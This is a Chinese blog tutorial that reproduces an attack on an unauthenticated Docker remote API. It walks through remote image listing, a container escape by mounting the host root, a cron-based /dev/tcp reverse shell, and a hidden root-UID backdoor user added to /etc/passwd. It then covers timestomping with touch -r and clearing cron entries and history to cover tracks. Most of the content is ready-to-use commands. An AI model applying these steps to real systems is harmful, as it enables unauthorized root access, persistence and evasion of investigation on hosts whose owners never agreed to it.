您现在的位置是:首页 >技术教程 >docker未授权rce+docker逃逸复现网站首页技术教程

docker未授权rce+docker逃逸复现

鸡肋是鸡肋! 2024-06-17 11:28:21
简介docker未授权rce+docker逃逸复现

docker未授权rce+docker逃逸复现

前言:这段时间跟着bnessy师傅一起打内网,跟着bnessy师傅也学到了很多有用的姿势,这里就来复现几个内网的漏洞(大佬轻喷)

1、老规矩,还是fscan扫到的漏洞

 

通过访问:http://xxxx:2375/version

如果能够访问,则漏洞存在

 

1.2访问:http://xxxx:2375/info

发现存在未授权页面

 

2、在kali上安装docker,可以获取目标机正在运行的docker镜像文件

命令如下

docker -H tcp://目标机ip:2375 images

 

3、随便选一个目标机器有的容器,以/bin/bash的方式进入该容器

命令如下:

/:/mnt:意思是将目标机的根目录挂载到该容器的/mnt目录下,所以我们要查询目标机的文件的话,最前面应该跟个/mnt的目录, #如要查询目标机的passwd,则目录为:/mnt/etc/passwd

docker -H tcp://目标机ip:2375 run -it -v /:/mnt 镜像id /bin/bash

 

3.1、进入/mnt目录下即可逃逸到宿主机

 

4、利用计划任务,写反弹shell

 

命令如下:

echo '* * * * * /bin/bash -i >& /dev/tcp/目标机ip/监听端口 0>&1' >> /mnt/var/spool/cron/root

注意:在centos中,计划任务的默认路径是:/var/spool/cron/

但在ubuntu系统中,计划任务默认是:/var/spool/cron/crontabs/

/mnt/var/spool/cron/root

这里的root是指计划任务以什么用户去执行,这里用root,反弹回来的shell也是root权限

这里shell反弹回来大概要等一分钟左右

 

5、权限维持

该系统为linux,所以权限维持的思路如下:

  • 查看当前有哪些用户,新建个类似的用户名进行混淆

可以看见有个games的用户,我们这里可以创建个game的用户来进行混淆

 

步骤如下:

  • 修改/etc/passwd

  • 增加game用户

5.1查看/etc/passwd,将root这一行先copy出来

/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
root:x:0:0:root:/root:/bin/bash

5.2使用perl -le 'print crypt("Jilei","salt")'生成一个密码,Jilei为密码:

perl -le 'print crypt("Jilei","salt")'

这里我用的xiaosedi为密码

将生成出来的密码copy出来,替换掉刚刚copy的root那一串

 

将改变后的这一串添加到/etc/passwd中

 

添加成功

 

用vim把刚刚增加的game用户换到games的下一行去进行隐藏

 

5.3利用touch命令将/etc/passwd文件的修改时间改成跟/etc/shadow一样

 

 

touch -r /etc/shadow /etc/passwd

6、痕迹清除

 

  • 将我们的定时任务给清除掉

     

  • 清除历史命令

    history -c
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。